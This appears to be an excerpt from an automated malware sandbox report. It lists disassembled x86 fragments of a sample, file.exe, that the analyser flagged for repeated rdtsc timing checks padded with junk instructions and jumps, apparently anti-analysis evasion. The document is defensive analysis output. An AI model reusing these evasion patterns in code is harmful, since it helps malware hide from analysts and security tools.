Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7EB3 second address: 11C7EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0E506DD10h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8143 second address: 11C8148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8148 second address: 11C8160 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FD0E506DD13h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8160 second address: 11C8169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8169 second address: 11C816D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C82DA second address: 11C82E3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD6EB second address: 11CD6EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD6EF second address: 11CD70D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD0E4E9B9E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007FD0E4E9B9EDh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC6D0 second address: 11CC6D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC6D6 second address: 11CC6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E2C9 second address: 119E2CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E2CD second address: 119E2DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E2DB second address: 119E392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FD0E506DD17h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FD0E506DD08h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 add edx, dword ptr [ebp+122D3648h] 0x0000002c call 00007FD0E506DD15h 0x00000031 jo 00007FD0E506DD0Ch 0x00000037 mov dword ptr [ebp+122D24D6h], eax 0x0000003d pop ecx 0x0000003e lea eax, dword ptr [ebp+1248001Bh] 0x00000044 push 00000000h 0x00000046 push edi 0x00000047 call 00007FD0E506DD08h 0x0000004c pop edi 0x0000004d mov dword ptr [esp+04h], edi 0x00000051 add dword ptr [esp+04h], 00000014h 0x00000059 inc edi 0x0000005a push edi 0x0000005b ret 0x0000005c pop edi 0x0000005d ret 0x0000005e js 00007FD0E506DD0Bh 0x00000064 xor di, 6F46h 0x00000069 nop 0x0000006a ja 00007FD0E506DD1Ah 0x00000070 push eax 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 push edx 0x00000075 pop edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E392 second address: 117A598 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD0E4E9B9F7h 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FD0E4E9B9E8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a sub di, 55A2h 0x0000002f je 00007FD0E4E9B9EAh 0x00000035 mov di, 9B3Bh 0x00000039 call dword ptr [ebp+122D3315h] 0x0000003f push eax 0x00000040 push edx 0x00000041 push esi 0x00000042 jo 00007FD0E4E9B9E6h 0x00000048 pop esi 0x00000049 push esi 0x0000004a jmp 00007FD0E4E9B9EBh 0x0000004f pop esi 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E764 second address: 119E77D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD0E506DD06h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e jbe 00007FD0E506DD06h 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E77D second address: 119E781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E781 second address: FF1928 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jmp 00007FD0E506DD19h 0x0000000d push dword ptr [ebp+122D0595h] 0x00000013 jmp 00007FD0E506DD19h 0x00000018 call dword ptr [ebp+122D23FCh] 0x0000001e pushad 0x0000001f jl 00007FD0E506DD16h 0x00000025 jmp 00007FD0E506DD10h 0x0000002a jg 00007FD0E506DD0Ch 0x00000030 xor eax, eax 0x00000032 pushad 0x00000033 add esi, 02FBCB70h 0x00000039 call 00007FD0E506DD12h 0x0000003e jmp 00007FD0E506DD17h 0x00000043 pop edx 0x00000044 popad 0x00000045 mov edx, dword ptr [esp+28h] 0x00000049 jbe 00007FD0E506DD0Dh 0x0000004f je 00007FD0E506DD07h 0x00000055 stc 0x00000056 mov dword ptr [ebp+122D3678h], eax 0x0000005c jnp 00007FD0E506DD12h 0x00000062 mov esi, 0000003Ch 0x00000067 jmp 00007FD0E506DD12h 0x0000006c add esi, dword ptr [esp+24h] 0x00000070 jmp 00007FD0E506DD0Ch 0x00000075 lodsw 0x00000077 mov dword ptr [ebp+122D19C6h], ecx 0x0000007d add eax, dword ptr [esp+24h] 0x00000081 pushad 0x00000082 mov dword ptr [ebp+122D306Ch], esi 0x00000088 popad 0x00000089 mov ebx, dword ptr [esp+24h] 0x0000008d pushad 0x0000008e mov si, cx 0x00000091 jmp 00007FD0E506DD11h 0x00000096 popad 0x00000097 jmp 00007FD0E506DD0Eh 0x0000009c nop 0x0000009d jng 00007FD0E506DD20h 0x000000a3 pushad 0x000000a4 push eax 0x000000a5 push edx 0x000000a6 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E883 second address: 119E889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E889 second address: 119E88E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E88E second address: 119E898 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD0E4E9B9ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E9EF second address: 119E9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EA91 second address: 119EAA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0E4E9B9F2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EAA8 second address: 119EAB2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD0E506DD0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119ED82 second address: 119ED88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119ED88 second address: 119EDAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FD0E506DD0Ch 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D1E6Bh], ecx 0x00000015 push 00000004h 0x00000017 nop 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EDAB second address: 119EDAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EDAF second address: 119EDC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007FD0E506DD08h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F13F second address: 119F143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F143 second address: 119F149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F149 second address: 119F153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD0E4E9B9E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F4C4 second address: 119F4E7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD0E506DD06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD0E506DD11h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F4E7 second address: 119F4ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F4ED second address: 119F578 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FD0E506DD10h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FD0E506DD08h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 lea eax, dword ptr [ebp+1248005Fh] 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007FD0E506DD08h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 00000016h 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 sub ecx, dword ptr [ebp+122D24EBh] 0x0000004e nop 0x0000004f jmp 00007FD0E506DD15h 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FD0E506DD12h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD094 second address: 11CD0C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD0E4E9B9E6h 0x0000000a popad 0x0000000b jmp 00007FD0E4E9B9F3h 0x00000010 jns 00007FD0E4E9B9EEh 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D30BE second address: 11D30C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1E61 second address: 11D1E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1E65 second address: 11D1E69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1E69 second address: 11D1E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1FE5 second address: 11D1FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2704 second address: 11D2708 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2B1E second address: 11D2B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jl 00007FD0E506DD36h 0x0000000b jns 00007FD0E506DD1Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007FD0E506DD06h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2B4F second address: 11D2B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1927 second address: 11D192B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DA943 second address: 11DA96C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9F1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007FD0E4E9B9E8h 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007FD0E4E9B9E6h 0x0000001b push eax 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DBFAA second address: 11DBFB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DBFB1 second address: 11DBFB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DBFB7 second address: 11DBFBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E2277 second address: 11E2283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD0E4E9B9E8h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E2283 second address: 11E2289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E2289 second address: 11E228D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0F91 second address: 11E0F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1101 second address: 11E1121 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD0E4E9B9F8h 0x00000008 jmp 00007FD0E4E9B9F2h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1260 second address: 11E129A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FD0E506DD0Dh 0x00000008 pop ecx 0x00000009 jmp 00007FD0E506DD17h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD0E506DD0Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1562 second address: 11E1568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151459 second address: 1151484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E506DD19h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FD0E506DD0Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151484 second address: 115148E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FD0E4E9B9E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6E20 second address: 11E6E25 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6E25 second address: 11E6E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnp 00007FD0E4E9B9E8h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD0E4E9B9F2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E710D second address: 11E7121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a jnc 00007FD0E506DD06h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7121 second address: 11E713A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0E4E9B9F3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E713A second address: 11E7153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FD0E506DD0Bh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7153 second address: 11E715D instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD0E4E9B9ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EB8A6 second address: 11EB8AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBA19 second address: 11EBA20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBB60 second address: 11EBB65 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBB65 second address: 11EBB6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F34C4 second address: 11F34CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F34CA second address: 11F34CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F34CE second address: 11F34F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E506DD0Eh 0x00000007 jmp 00007FD0E506DD0Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jns 00007FD0E506DD06h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F34F5 second address: 11F3502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3502 second address: 11F3511 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E506DD0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3511 second address: 11F3531 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9F9h 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1D36 second address: 11F1D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1D44 second address: 11F1D53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1E9A second address: 11F1E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1E9E second address: 11F1EC8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FD0E4E9B9F2h 0x0000000c jng 00007FD0E4E9B9EEh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1EC8 second address: 11F1ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2018 second address: 11F201C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EF49 second address: 119EF4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EF4D second address: 119EF51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F25B2 second address: 11F25B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F25B8 second address: 11F25BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F26EF second address: 11F26F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F26F5 second address: 11F26F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F26F9 second address: 11F270C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD0E506DD0Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F270C second address: 11F2712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2712 second address: 11F2721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0E506DD0Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2721 second address: 11F2725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3199 second address: 11F319F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F319F second address: 11F31A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
